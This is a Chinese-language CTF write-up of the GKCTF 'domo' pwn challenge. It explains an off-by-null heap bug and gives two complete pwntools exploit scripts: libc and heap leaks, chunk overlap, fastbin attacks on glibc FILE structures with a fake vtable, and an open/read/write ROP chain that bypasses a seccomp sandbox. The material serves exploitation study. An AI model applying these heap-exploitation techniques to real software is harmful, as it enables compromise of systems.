复现一场比赛被第一道题卡了贼久,我太菜了,越学pwn越在想要是比赛第一题就是这个我连一道题都做不出来怎么办哦。
吐槽: nss给的libc怎么也不对啊?

简要分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; int v5; int v6; int v7; __int64 v8; unsigned __int64 v9;
v9 = __readfsqword(0x28u); v4 = 1; v5 = 1; v6 = 1; sub_BA0(a1, a2, a3); sub_C9D(); puts("Welcome to GKCTF"); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); printf("> "); _isoc99_scanf("%d", &v7); if ( v7 != 1 ) break; add("%d", &v7); } if ( v7 != 2 ) break; delete("%d", &v7); } if ( v7 != 3 ) break; show("%d", &v7); } if ( v7 != 4 ) break; edit(&v4, &v5, &v6); } v8 = seccomp_init(2147418112LL); seccomp_rule_add(v8, 0LL, 59LL, 0LL); seccomp_rule_add(v8, 0LL, 4294957238LL, 0LL); seccomp_rule_add(v8, 0LL, 10LL, 0LL); seccomp_load(v8); puts("oh,Bye"); return 0LL; }
|
在main内的最后开启了沙盒,可以看出来禁用了execve的调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| unsigned __int64 __fastcall sub_E6C(const char *a1) { size_t nbytes; unsigned __int64 v3;
v3 = __readfsqword(0x28u); if ( check(a1) == 1 && chunk_num[0] <= 8 ) { HIDWORD(nbytes) = 0; while ( SHIDWORD(nbytes) <= 8 ) { if ( !*(&chunk_arr + SHIDWORD(nbytes)) ) { puts("size:"); _isoc99_scanf("%d", &nbytes); if ( (nbytes & 0x80000000) == 0LL && nbytes <= 288 ) { *(&chunk_arr + SHIDWORD(nbytes)) = malloc(nbytes); puts("content:"); read(0, *(&chunk_arr + SHIDWORD(nbytes)), nbytes); *(*(&chunk_arr + SHIDWORD(nbytes)) + nbytes) = 0; ++chunk_num[0]; } else { puts("sobig"); } return __readfsqword(0x28u) ^ v3; } ++HIDWORD(nbytes); } } return __readfsqword(0x28u) ^ v3; }
|
在add函数存在明显的off by null漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| __int64 sub_C16() { void *(*volatile v0)(size_t, const void *); bool v1; void (*volatile v2)(void *, const void *);
v0 = _malloc_hook; v1 = v0 != 0LL; v2 = _free_hook; if ( !v1 && v2 == 0LL ) return 1LL; puts("oh no"); return 0LL; }
|
在add函数和delete函数的开头部分都存在这个函数检验_malloc_hook和_free_hook是否被修改。所以常规的修改hook为one_gadget是不现实的了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 __fastcall sub_115E(_DWORD *a1, _DWORD *a2, _DWORD *a3) { void *buf; unsigned __int64 v6;
v6 = __readfsqword(0x28u); buf = 0LL; if ( check() == 1 ) { if ( *a1 && *a2 && *a3 ) { puts("addr:"); _isoc99_scanf("%ld", &buf); puts("num:"); read(0, buf, 1uLL); *a1 = 0; *a2 = 0; *a3 = 0; puts("starssgo need ten girl friend "); } else { puts("You no flag"); } } return __readfsqword(0x28u) ^ v6; }
|
这里的edit函数和常规完全不一样,这里是存在一个任意地址写一字节并且只允许执行一次。
利用过程
leak libc addr
当unsortedbin只有一个chunk的时候它的fd指针和bk指针都是指向main_arena的。

然后申请一个同样大小的chunk并且输入b’a’*7+b’\n’

即可获得main_arena的地址,然后计算出libc_base的地址。
leak heap addr
利用思路跟上面类似,不过是用fastbin。

此时他的fd指针指向的是他下一个chunk。申请一个size相同并且输入空字符即可求出heap的地址。
chunk overlap
接着就是利用堆的堆放方式利用off by null触发unlink为fastbin attack做准备。
1 2 3 4 5 6 7 8 9
| create(0x40, b'') create(0x68, b'') create(0xf0, b'') delete(0) create(0x40, p64(0)+p64(0xb1)+p64(heap_addr+0x18) + p64(heap_addr+0x20)+p64(heap_addr+0x10)) delete(1) create(0x68, b'\x00'*0x60+p64(0xb0)) delete(2)
|

我们使用以上三个chunk来进行,并且在chunk0的里面我们伪造一个size为0xb0的fake chunk。

可以看到经过上面我们已经修改了size为0x100的inuse位的值0,那么此时我们free掉它。

可以看到此时我们伪造的fake chunk的size已经变为了0x1b1

并且可以看到unlink后的fake chunk已经进入了unsorted bin了。
vtable
在进行fastbin attack之前我们先先看看vtable是个什么东西

可以看到下面的vtable变量,存放的值是_IO_file_jumps的指针

可以看到_IO_file_jumps结构内存放很多函数的指针,一系列标准IO函数都会调用这些指针,但是_IO_file_jumps结构本身是不可写的,但是我们可以修改vtable指向我们伪造的_IO_file_jumps结构。
fastbin attack
1 2 3 4 5 6 7 8 9 10
| create(0xc0, b'') delete(1) delete(2)
_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_'] info(hex(_IO_2_1_stdin_))
fake_chunk = _IO_2_1_stdin_+160-3 create(0xc0, b'a'*0x38+p64(0x71)+p64(fake_chunk)) create(0xa8, p64(0)*2+p64(one_gadget)*19)
|
首先申请一个size为0xc0的chunk,而这个chunk会在unsorted bin当中的fake chunk中割出一部分拿给我们。所以我们可以通过这样一个chunk来修改我们放到fastbin当中的chunk。
先看_IO_2_1_stdin_附近适合用来构造fake chunk的地方。

可以看到这个位置是很适合拿来做chunk的size的也就是_IO_2_1_stdin_+160-3

可以看到fastbin当中的chunk被我们改变了到了制定位置,然后伪造vtable也在了,最后修改getshell即可
综上得出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import *
r = process('./domo') elf = ELF('./domo') libc = ELF('./libc.so.6')
def create(size, content): r.recvuntil(b'5: Exit') r.sendline(b'1') r.recvuntil(b'size:') r.sendline(bytes(str(size), encoding='utf-8')) r.recvuntil(b'content:') r.sendline(content)
def delete(index): r.recvuntil(b'5: Exit') r.sendline(b'2') r.recvuntil(b'index:') r.sendline(bytes(str(index), encoding='utf-8'))
def show(index): r.recvuntil(b'5: Exit') r.sendline(b'3') r.recvuntil(b'index:') r.sendline(bytes(str(index), encoding='utf-8'))
def edit(address, num): r.recvuntil(b'5: Exit') r.sendline(b'4') r.recvuntil(b'addr:') r.senline(bytes(str(address), encoding='utf-8')) r.recvuntil(b'num:') r.sendline(bytes(str(num), encoding='utf-8'))
create(0x40, b'') create(0x68, b'') create(0xf0, b'') create(0x10, b'')
delete(2)
create(0xf0, b'a'*7) show(2)
print(r.recvuntil(b'\n')) print(r.recvuntil(b'a\n')) main_arena_88 = u64(r.recv(6).ljust(8, b'\x00'))
info(hex(main_arena_88))
malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \ (libc.symbols['__malloc_hook'] & 0xfff) libc_base = malloc_hook-libc.symbols['__malloc_hook'] one_gadget = 0xf03a4+libc_base print(hex(one_gadget))
create(0x10, b'')
delete(3) delete(4) create(0x10, b'') show(3) print(r.recvuntil(b'\n')) heap_addr = u64(r.recv(6).ljust(8, b'\x00'))-0x10a+0x10 info(hex(heap_addr))
delete(3)
delete(0) create(0x40, p64(0)+p64(0xb1)+p64(heap_addr+0x18) + p64(heap_addr+0x20)+p64(heap_addr+0x10)) delete(1) create(0x68, b'\x00'*0x60+p64(0xb0))
delete(2)
create(0xc0, b'') delete(1) delete(2)
_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_'] info(hex(_IO_2_1_stdin_))
fake_chunk = _IO_2_1_stdin_+160-3 create(0xc0, b'a'*0x38+p64(0x71)+p64(fake_chunk)) create(0xa8, p64(0)*2+p64(one_gadget)*19) create(0x60, b'') fake_vtable = heap_addr+0xf0 payload = b'\x00'*3 + p64(0)*2+p64(0x00000000ffffffff)+p64(0) * \ 2+p64(fake_vtable)+p64(0)*6 create(0x63, payload)
r.interactive()
|
以上解法为nocbtm师傅的思路。下面为出题人的思路。
其实出题人的思路在前半部分部分和上面是一样的,同样需要leak libc addr,leak heap addr,fastbin attack这三步攻击。
environ
在libc中的environ里存放的是stack的地址。

下面就是通过_IO_2_1_stdout_泄漏出environ当中的栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| _IO_2_1_stdout_ = libc_base+libc.symbols['_IO_2_1_stdout_'] fake_chunk = _IO_2_1_stdout_ - 0x43 create(0xc0, b'') create(0x60, b'') delete(3) delete(1) delete(2) create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk))
payload = b'\x00'*3+p64(0)*5+p64(libc_base+libc.symbols['_IO_file_jumps'])+p64(0xfbad1800)+p64(_IO_2_1_stdout_+131) * \ 3+p64(libc_base+libc.symbols['environ']) + \ p64(libc_base+libc.symbols['environ']+8) create(0x60, b'') create(0x63, payload) r.recvline() stack_addr = u64(r.recvuntil(b'1: Add a user', drop=True)) ret_addr = stack_addr-0xf0 info('stack_addr=>'+hex(ret_addr))
|

然后经过偏移计算获得main函数的返回地址。
修改返回地址
这里需要使用_IO_2_1_stdin_(不清楚的可以看看这篇文章echo back)来修改返回地址的内容
1 2 3 4 5 6 7 8 9 10 11
| _IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_'] fake_chunk = _IO_2_1_stdin_-0x28 create(0x60, b'') delete(4) delete(1) delete(2) create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk)) create(0x40, b'flag\x00') flag_addr = heap_addr+0x210 create(0x60, b'') edit(fake_chunk+0x8, p8(0x71))
|

一样的操作,找到一个假的chunk然后修改_IO_buf_base和_IO_buf_end
1 2 3 4
| payload = p64(0)+p64(libc_base + libc.symbols['_IO_file_jumps'])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(ret_addr-2)+p64(ret_addr+0x118) create(0x60, payload) info('fake_chunk=>'+hex(fake_chunk))
|

紧接着直接申请chunk过去然后修改掉上面两个指针的值,效果如上图。

解释一下为什么要在_IO_buf_base处写上ret_addr-2 => 因为在最后输入的时候我们是在这个scanf当中输入的,所以我们需要预留两个位置输入b’5\n’
orw
最后因为题目在最后开启了沙盒所以我们只能用orw的方式来读flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret', arch='amd64'))) pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret', arch='amd64'))) pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret', arch='amd64'))) open_addr = libc_base+libc.symbols['open'] read_addr = libc_base+libc.symbols['read'] write_addr = libc_base+libc.symbols['write'] payload = b'5\n'+p64(pop_rdi)+p64(flag_addr) + \ p64(pop_rsi)+p64(72)+p64(open_addr)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + \ p64(flag_addr+8)+p64(pop_rdx)+p64(0x30)+p64(read_addr)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(flag_addr+8) + \ p64(pop_rdx)+p64(0x100)+p64(write_addr) gdb.attach(r) r.recvuntil(b'>') r.sendline(payload)
|
最后的栈内情况

综上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| from pwn import *
r = process('./domo')
elf = ELF('./domo') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def create(size, content): r.recvuntil(b'5: Exit') r.sendline(b'1') r.recvuntil(b'size:') r.sendline(bytes(str(size), encoding='utf-8')) r.recvuntil(b'content:') r.sendline(content)
def delete(index): r.recvuntil(b'5: Exit') r.sendline(b'2') r.recvuntil(b'index:') r.sendline(bytes(str(index), encoding='utf-8'))
def show(index): r.recvuntil(b'5: Exit') r.sendline(b'3') r.recvuntil(b'index:') r.sendline(bytes(str(index), encoding='utf-8'))
def edit(address, num): r.recvuntil(b'5: Exit') r.sendline(b'4') r.recvuntil(b'addr:') r.sendline(bytes(str(address), encoding='utf-8')) r.recvuntil(b'num:') r.sendline(num)
create(0x40, b'') create(0x68, b'') create(0xf0, b'') create(0x10, b'')
delete(2)
create(0xf0, b'a'*7) show(2)
print(r.recvuntil(b'\n')) print(r.recvuntil(b'a\n')) main_arena_88 = u64(r.recv(6).ljust(8, b'\x00'))
info(hex(main_arena_88))
malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \ (libc.symbols['__malloc_hook'] & 0xfff) libc_base = malloc_hook-libc.symbols['__malloc_hook'] one_gadget = 0xf02a4+libc_base print(hex(one_gadget))
create(0x10, b'')
delete(3) delete(4) create(0x10, b'') show(3) print(r.recvuntil(b'\n')) heap_addr = u64(r.recv(6).ljust(8, b'\x00'))-0x10a+0x10 info(hex(heap_addr))
delete(3)
delete(0) create(0x40, p64(0)+p64(0xb1)+p64(heap_addr+0x18) + p64(heap_addr+0x20)+p64(heap_addr+0x10)) delete(1) create(0x68, b'\x00'*0x60+p64(0xb0)) delete(2)
_IO_2_1_stdout_ = libc_base+libc.symbols['_IO_2_1_stdout_'] fake_chunk = _IO_2_1_stdout_ - 0x43 create(0xc0, b'') create(0x60, b'') delete(3) delete(1) delete(2) create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk))
payload = b'\x00'*3+p64(0)*5+p64(libc_base+libc.symbols['_IO_file_jumps'])+p64(0xfbad1800)+p64(_IO_2_1_stdout_+131) * \ 3+p64(libc_base+libc.symbols['environ']) + \ p64(libc_base+libc.symbols['environ']+8) create(0x60, b'') create(0x63, payload) r.recvline() stack_addr = u64(r.recvuntil(b'1: Add a user', drop=True)) ret_addr = stack_addr-0xf0 info('ret_addr=>'+hex(ret_addr))
_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_'] fake_chunk = _IO_2_1_stdin_-0x28 create(0x60, b'') delete(4) delete(1) delete(2) create(0xc0, b'\x00'*0x38+p64(0x71)+p64(fake_chunk)) create(0x40, b'flag\x00') flag_addr = heap_addr+0x210 create(0x60, b'') edit(fake_chunk+0x8, p8(0x71)) payload = p64(0)+p64(libc_base + libc.symbols['_IO_file_jumps'])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(ret_addr-2)+p64(ret_addr+0x118) create(0x60, payload) info('fake_chunk=>'+hex(fake_chunk))
pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret', arch='amd64'))) pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret', arch='amd64'))) pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret', arch='amd64'))) open_addr = libc_base+libc.symbols['open'] read_addr = libc_base+libc.symbols['read'] write_addr = libc_base+libc.symbols['write'] payload = b'5\n'+p64(pop_rdi)+p64(flag_addr) + \ p64(pop_rsi)+p64(72)+p64(open_addr)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + \ p64(flag_addr+8)+p64(pop_rdx)+p64(0x30)+p64(read_addr)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(flag_addr+8) + \ p64(pop_rdx)+p64(0x100)+p64(write_addr)
r.recvuntil(b'>') r.sendline(payload)
r.interactive()
|
参考
https://blog.play2win.top/2020/05/27/GKCTF%202020%20Domo%E5%88%86%E6%9E%90/#0x0-leak-libc-address%E5%92%8Cheap-address